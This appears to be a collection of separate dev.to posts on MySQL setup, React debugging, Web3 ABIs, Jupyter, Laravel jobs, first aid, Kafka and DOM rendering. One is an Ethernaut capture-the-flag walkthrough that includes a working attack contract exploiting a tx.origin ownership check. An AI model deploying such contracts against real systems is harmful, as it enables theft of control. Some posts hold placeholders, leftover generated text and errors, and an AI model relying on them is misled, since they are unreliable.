teleren/devto huggingface dataset:
How to Install Mysql on Ubuntu 22.04 LTS
Published: 2023-11-16 04:04:54

To install MySQL, first log in to the server using terminal. I will log in using my SSH

```
ssh root@{ip}
```
Then run following commands

```
sudo apt update
sudo apt install mysql-server
```
Then start the service using

```
sudo systemctl start mysql.service
```
Now, we need to install the security services

```
sudo mysql_secure_installation
```
This will show the below output

```
Securing the MySQL server deployment.

Connecting to MySQL using a blank password.

VALIDATE PASSWORD COMPONENT can be used to test passwords
and improve security. It checks the strength of password
and allows the users to set only those passwords which are
secure enough. Would you like to setup VALIDATE PASSWORD component?

Press y|Y for Yes, any other key for No: Y

There are three levels of password validation policy:

LOW    Length >= 8
MEDIUM Length >= 8, numeric, mixed case, and special characters
STRONG Length >= 8, numeric, mixed case, special characters and dictionary                  file

Please enter 0 = LOW, 1 = MEDIUM and 2 = STRONG:
 0
```
For testing purposes, I chose 0. That is the bare minimum password for the users and the root password won't be set. Then some prompt will open, press Y or N depending on your choice.
After all the prompt is done,enter the MySQL console

```
sudo mysql
CREATE USER 'sammy'@'localhost' IDENTIFIED BY 'password';
```
Be sure to change the `sammy` to your user and `password` to your password.

Then set the privileges

```
GRANT CREATE, ALTER, DROP, INSERT, UPDATE, INDEX, DELETE, SELECT, REFERENCES, RELOAD on *.* TO 'sammy'@'localhost' WITH GRANT OPTION;
```
You are all set. You can clear the cache using

```
FLUSH PRIVILEGES;
```
Exit the MySQL console and check the status by running

```
systemctl status mysql.service
```

```
Output:
● mysql.service - MySQL Community Server
     Loaded: loaded (/lib/systemd/system/mysql.service; enabled; vendor preset:>
     Active: active (running) since Thu 2023-11-16 02:44:55 UTC; 1h 8min ago
    Process: 10804 ExecStartPre=/usr/share/mysql/mysql-systemd-start pre (code=>
   Main PID: 10812 (mysqld)
     Status: "Server is operational"
      Tasks: 38 (limit: 1116)
     Memory: 361.8M
        CPU: 30.669s
     CGroup: /system.slice/mysql.service
             └─10812 /usr/sbin/mysqld
lines 1-11/11 (END)
```

If the above output shows, congratulations, Mysql is not installed.
Mastering Debugging in React: A Comprehensive Guide
Tags: react, debugging, testing
Published: 2023-11-16 03:27:55





**Introduction (with Emojis):**

🚀 React is a powerful JavaScript library for building user interfaces. However, even experienced developers encounter bugs while developing React applications. Fear not! Understanding how to effectively debug your React code can save hours of frustration. In this guide, we'll delve into the art of debugging in React and explore strategies to identify and resolve common issues. Let's get started!

**Table of Contents:**

1. Understanding the React Development Environment
2. Tools for React Debugging
3. Debugging Techniques and Best Practices
4. Handling Common React Debugging Scenarios
5. Tips for Effective Debugging
6. Conclusion

**Section 1: Understanding the React Development Environment (Emojis: 🛠️🧩)**

Explanation of React's component-based architecture and the Virtual DOM.
Introduction to JSX and how it gets compiled.
Brief overview of common errors and challenges developers face during React development.

**Section 2: Tools for React Debugging (Emojis: 🛠️🔍)**

Introduction to React DevTools and its features for inspecting components, state, and props.
Using browser developer tools (Chrome DevTools, Firefox Developer Edition) for debugging React applications.
Overview of third-party tools like Redux DevTools and Reactotron for debugging state management.

**Section 3: Debugging Techniques and Best Practices (Emojis: 🧰🎯)**

Exploration of various debugging techniques: console.log, debugger statements, and using breakpoints.
Demonstration of React error boundaries for handling and isolating errors within components.
Using PropTypes and TypeScript to catch errors at compile time.

**Section 4: Handling Common React Debugging Scenarios (Emojis: 🐛🔍)**

Debugging state-related issues: incorrect rendering, unexpected behavior due to state changes.
Identifying and fixing prop-related errors and warnings.
Handling lifecycle method issues and component re-rendering problems.

**Section 5: Tips for Effective Debugging (Emojis: 💡🛠️)**

Best practices for writing clean and debuggable React code.
Importance of testing and writing testable code for easier debugging.
Strategies for isolating and reproducing bugs effectively.

**Section 6: Conclusion (Emojis: 🎉🚀)**

Summarize the key takeaways from the guide.
Encourage continuous learning and practice for mastering debugging skills in React.
Offer resources and further reading for readers interested in diving deeper into React debugging.

Remember to include code examples, screenshots, and practical demonstrations to make the articles more engaging and easier to understand for readers. Good luck with your articles!
Getting the ABI and Solidity Contracts Functions with JavaScript: A Developer’s Journey
Tags: web3, solidity, javascript, ethereum
Published: 2023-11-16 03:11:57

Alice, a freelance developer with a knack for tackling new frontiers, recently embarked on a mission that many would find daunting. Freshly hired to develop a front-end interface for a series of Ethereum smart contracts, she found herself at the crossroads of innovation. With her contracts developed in Solidity, Alice’s immediate goal was to create a page listing the functions of these contracts. But Alice was always one to think ahead; she knew that eventually, she wanted to interact with these functions directly through her interface.

As Alice delved into the depths of Web3.js, she realized that her starting point was to understand the ABI — Application Binary Interface — of her contracts. The ABI is the gateway through which her JavaScript code would communicate with the blockchains, understanding the shapes and forms of her Solidity contract functions.

With her trusty text editor and a console full of logs, Alice began her journey by fetching the ABI for her contract. She knew that once she had the ABI, listing the contract’s functions would be a piece of cake. She turned to Web3.js, which allowed her to interact with a node through a RPC, using an HTTP connection.

**The Code**

```
import axios from "axios";

const response = await axios.get(`https://api-testnet.polygonscan.com/api?module=contract&action=getabi&address=${contractAddress}&apikey=<YOUR_API_KEY_HERE>`);
if (response && response.data && response.data.status === "1" && response.data.result) {
    const abi = JSON.parse(response.data.result);
    const functions = abi.filter((item) => item.type === "function");
    console.log("ABI", abi);
    console.log("Functions", functions);
}
```

In conclusion, by understanding and utilizing the ABI of Solidity contracts, JavaScript and Web3.js developers like Alice can create powerful front-end applications that interact seamlessly with the Ethereum blockchain. With the ABI as the blueprint and Web3.js as the toolset, the possibilities for blockchain-enabled applications are virtually limitless.

Alice’s story is a testament to the power of bridging the gap between smart contracts and the user interface, and her journey illuminates the path for other developers to follow in the exciting realm of Web3 development.

You can also find a list and execute functions of a contract using tools provided by [DevWeb3.co](https://devweb3.co). They have a collection of tools that can help you integrate your application with any EVM-compatible blockchain.
Jupyter for Python and Machine Learning
Tags: python, machine, learning, jupyter
Published: 2023-11-16 02:37:57

[Jupyter Notebook](https://jupyter.org/) is a coding assistant for Machine Learning or Python learners. 

**Here are the steps to install:**

**Mac/Windows:**
1. Install Docker
2. Once Step(1) is completed, Open Terminal or Command Prompt and run the below command
```
docker pull jupyter/datascience-notebook
```
3. Once Step(2) is done, run the below command in Terminal or Command Prompt.
```
docker run -p 10000:8888 jupyter/datascience-notebook
```
4. Check and copy the URL from console output like http://127.0.0.1:8888/lab?token=

5. Open browser and open the URL to start Jupyter Notebook.
Discovering Your Next Laravel Opportunity: A Specialized Job Board
Tags: career, laravel, job, news
Published: 2023-11-16 02:36:05

In the bustling world of web development, the quest for the perfect Laravel job can often feel like searching for a needle in a haystack. Long, convoluted job descriptions, endless portal scrolling, and filtering through irrelevant posts can swiftly drain both time and enthusiasm.

**Introducing a Solution:** A Tailored Job Board Curated for Laravel Developers.

This isn't your typical job directory. It's a specialized haven, meticulously collating the latest and most pertinent job opportunities from diverse online sources. No more sifting through verbose and ambiguous job descriptions. Say hello to succinct, summarized job listings, neatly sorted and tagged with essential skills.

#### Streamlined Benefits Await You:

##### 1. Time-Efficiency Redefined:
   - No more hours lost in the labyrinth of job portals.
   - Filtered, refined job posts await your perusal.

##### 2. Clarity in Job Descriptions:
   - Say goodbye to lengthy, monotonous descriptions.
   - Concise summaries spotlighting key requirements await.

##### 3. Skill Enrichment:
   - A skill tag section accompanies each job listing.
   - Tailor your skill enhancement according to job demands.

#### How Does This Transform Your Job Hunt?

Imagine no longer drowning in a sea of irrelevant listings or deciphering never-ending job descriptions. This curated platform ensures your job search is not just efficient but enriching. You'll access a comprehensive yet manageable list of opportunities, empowering you to channel your efforts effectively.

**Elevate Your Career:**

This specialized job board isn’t just about finding a job; it’s about finding the right fit and fostering growth. Enhance your Laravel expertise while navigating through precisely curated job listings.

**Conclusion:**

Dive into a world where your time is valued, clarity reigns supreme, and skill enhancement aligns with job prospects. Join us on this journey to streamline your job hunt and elevate your career trajectory in the realm of Laravel development.

Explore the future of your career at [Laravel Daily Jobs](https://laraveldaily.com/jobs/offers) today!
Essential First Aid: A Guide to Keeping Your Home and Family Safe
Tags: woundrepair
Published: 2023-11-16 02:25:16

Accidents can happen at any time, especially in and around your home. From burns in the kitchen to cuts from garden tools, minor injuries are not uncommon. A well-stocked and easily accessible first aid kit is essential to be prepared for your next minor accident.

While emergency care is readily available, having a first aid kit on hand is a smart and practical choice. "Even though there are many situations where you have to see a doctor, there are some situations where you really need immediate access to basic care," says [Expert Name], a renowned [Expert Title].

Here are some scenarios where a well-prepared first aid kit can make a difference:

Allergic Reactions: Allergy sufferers may require immediate access to an EpiPen or antihistamine.

Eye Injuries: In case of chemicals splashing into the eyes, having an eyewash station can provide quick relief.

Cuts and Wounds: When dealing with cuts, a sterile bandage is more effective than reaching for a roll of paper towels.

**First Aid Kit Checklist:**

If you're assembling your first aid kit, consider including these essential materials:

[Absorbent dressings](https://kastormed.com/product/silicone-adhesive-foam-dressing-4-4-10-pack/), [bandages of various sizes, roller bandages, triangular bandages, tapes](https://www.band-aid.com/products/adhesive-bandages/variety-pack)

[Sterile gauze pads](https://mms.mckesson.com/product/440028/McKesson-Brand-44082000), [wound closure devices](https://senvok.com/)

Antibiotic ointment and hydrocortisone ointment

Disinfectant wipes pack

Aspirin (81 mg per tablet)

Blanket

1 Breathing barrier (CPR mask with one-way valve)

1 instant cold compress

Non-latex gloves (size: large)

Scissors

Oral thermometer (non-mercury/non-glass)

Tweezers

First aid instruction manual

**Keep Your Kit Updated:**

If you already have a first aid kit at home, make sure it's updated, and check the expiration dates of medications. Older kits might contain ipecac syrup, which induces vomiting and is no longer recommended for poison control.

**First Aid Kit Tips:**

To ensure your first aid kit is always ready when needed, consider the following tips:

Order ready-made first aid kits online for convenience.By prioritizing your family's safety with a fully stocked first aid kit, you can safely deal with minor injuries and emergencies in and around your home. Your preparation can make a big difference when it matters most.

Most kits include instructions on basic first aid procedures.

Keep a first aid kit at home and another in your car.

Include personal items such as medications and your healthcare provider's phone number.

By prioritizing your family's safety with a fully stocked first aid kit, you can safely deal with minor injuries and emergencies in and around your home. Your preparation can make a big difference when it matters most.
Ethernaut level #4 - Telephone
Published: 2023-11-14 16:21:16

Here is a walkthrough for Ethernaut challenge #4 - Telephone. This challenge makes us aware of the consequences of misunderstanding the difference between `tx.origin` and `msg.sender`.

## Requirements
For the following contract given:
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Telephone {

  address public owner;

  constructor() {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}
```
We need to claim ownership. 

## Solution

Solidity documentation on [tx.origin](https://docs.soliditylang.org/en/v0.8.23/security-considerations.html#tx-origin) shows the following warning: 

> Never use tx.origin for authorization. 

So, why is that? Let's take a look at the following chain of calls: 

![tx.origin vs msg.sender](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ur29hwghvo76yjfungra.png)

Basically, the attacker's code can be executed on behalf of the owner if there a `tx.origin` check and if a malicious actor will be able to trick the owner to initiate a transaction. In our case it's enough to create a mediator smart contract between owner and `Telephone`.

Let's prepare the code. Having considered `changeOwner()`, we can see that it is suitable for our purposes. So, we just have to call it from another contract: 

Here is a code: 
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface ITelephone {
    function changeOwner(address _owner) external;
}

contract TelephoneAttack {

    address telephoneAddress;
    address newOwner;

    constructor(address _telephoneContract) {
        telephoneAddress = _telephoneContract;
        newOwner = msg.sender;
    }

    function attack() public {
        ITelephone(telephoneAddress).changeOwner(newOwner);
    }
}
```
Calling the `attack()` method does the trick. Ownership changed! 

## Summary
- Don't use `tx.origin` to check the ownership.
- Use `msg.sender` if a caller validation is required.

___
If you like this article, feel free to subscribe to my social media accounts: 
- https://dev.to/wallebach
- https://twitter.com/just_buidl
Message queue in System Design | Important topic for Interview 🚀
Tags: webdev, programming, tutorial, systemdesign
Published: 2023-11-16 02:24:24

Greetings, fellow system architects! In today's edition of our system design series, we're delving into the fascinating realm of message queues, where communication between senders and receivers takes center stage. 🌐✉️

**Understanding the Journey of Messages:**
Picture a bustling queue at your favorite food joint – the first order placed is the first to be served. Similarly, message queues operate on the FIFO principle, ensuring that the first message in is the first to be processed. This enables asynchronous communication, letting modules exchange information in the background without disrupting primary tasks. 🔄💬

Message queues become the unsung heroes of cross-module communication, offering a temporary haven for messages until they are ready to be consumed. This asynchronous dance ensures seamless collaboration among different components of a system. 🕺🎭

**Meet Kafka: The Maestro of Message Queues:**
Enter Apache Kafka, a heavyweight champion born in 2011 as a messaging system for LinkedIn. Over the years, it has evolved into a distributed event streaming platform capable of processing trillions of records daily. Kafka orchestrates a symphony of servers and clients, communicating through the harmonious TCP network protocol. 🎶💻

**Key Features and Applications:**
1. **Data Pipelines:** Kafka shines as a star player in constructing robust data pipelines, where information flows smoothly from source to destination. 🚀📈

2. **Streaming Solutions:** Need real-time data streaming? Kafka has your back. It excels in processing events on the fly, making it an ideal choice for streaming solutions. 🌐🔄

**Examples of Kafka in Action:**
1. **E-commerce Order Processing:** Imagine a user placing an order on an e-commerce platform. Kafka can handle the communication between various components – from order placement to payment processing and shipment notifications – ensuring a seamless user experience. 🛒💳🚚

2. **Social Media Activity Feeds:** In the world of social media, Kafka could power the generation and delivery of activity feeds in real-time. From posts to likes and comments, Kafka ensures users stay up-to-date with the latest interactions. 👍📱📬

**Conclusion:**
As we wrap up our exploration of message queues, particularly the dynamic Kafka, we've witnessed how these systems facilitate efficient communication, enabling the smooth flow of information in complex architectures. Whether you're building data pipelines or diving into real-time streaming, Kafka stands as a reliable companion in the ever-evolving landscape of system design. 🌐🚀

Stay tuned for more insights into the intricate world of system design, where each component plays a unique role in shaping the digital ecosystem. Until next time, happy designing! 🌟🔧
Virtual DOM and Incremental DOM
Tags: angular, virtualdom, incrementaldom
Published: 2023-11-16 02:24:12


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/jfxtkil9p9dcmjbc603p.jpg)

⚡Virtual DOM

Every component creates a new virtual DOM tree every time it gets re-rendered.
React compares the new virtual DOM tree with the old one and then updates the browser DOM to match the virtual DOM.

The two main advantages are:
🐳 First, You don’t need to compile anything, so you can use any programming language to implement the component as far as the virtual DOM is concerned.
🐳 Second, The rendering process results in a value that can be used for testing, debugging, etc …

⚡Incremental DOM

The incremental DOM is developed and used by Google.
Every component gets compiled into a series of instructions. These instructions create DOM trees and update them in place when the data changes. The set of generated instructions isn’t rendered by the rendering engine of the framework, the instructions are by the rendering engine.

The two main advantages of the incremental DOM are:
🐳 The incremental DOM is tree-shakable.
🐳 The incremental DOM has a low memory footprint.

A Virtual DOM creates a whole DOM tree from scratch whenever you rerender something, resulting in a lot of memory usage.

The incremental DOM only has to allocate the memory when the DOM nodes are added or removed.

Because the incremental DOM doesn’t interpret components but the set of instructions, it can remove all unused instructions at compile time, resulting in a tree-shakable rendering process.

[Angular](angular.dev) has always opted to use HTML and templates. That is why the language-agnostic virtual DOM doesn’t bring much to the table for Angular.

The situation is more nuanced, and the comfort level ultimately hinges on the specific framework and the developer’s preferences.
Basic methods for comprehension
Tags: thinking
Published: 2023-11-16 01:29:46

---
title: Basic methods for comprehension
published: true
description: atomistic/holistic views
tags: #thinking
# cover_image: https://direct_url_to_image.jpg
# Use a ratio of 100:42 for best results.
# published_at: 2023-11-16 01:24 +0000
---

**tl;dr**

# Atomistic Approach
- Break things down into the smallest reasonable units
- Ask: What does this thing do? What are the relationships with other units?

# Holistic Approach
- Break things down into the biggest reasonable units
- Ask: What does this unit do? What are the relationships with other units?

## Combination of Both Approaches is Usually the Best

## Atomistic

These are the two ways of thinking about something:

In the **Atomistic Approach**, you break things down into smaller components, trying to explain them and understand their relationships with other components. This approach is widely understood and commonly used. It involves breaking things down into the smallest reasonable units. The term "reasonable" is crucial here, signifying a unit that is small but still meaningful for the intended purpose. For example, thinking about a function as a unit makes more sense than breaking it down into each line of code. Questions about the unit arise:
- What does the unit do?
- What are the relationships with other units?

## Holistic

The **Holistic Approach** is the opposite. It involves breaking things down into the biggest units and then relating these big units to answer the same questions. For example, consider what an entire module/file/class does and how it relates to others. You could even think about what an entire app does and how it relates to other apps.

## Combination of Both Approaches is Usually the Best 

Typically, a combination of both Atomistic and Holistic approaches yields the best results. Start with a Holistic view, then progressively break down the units into smaller components.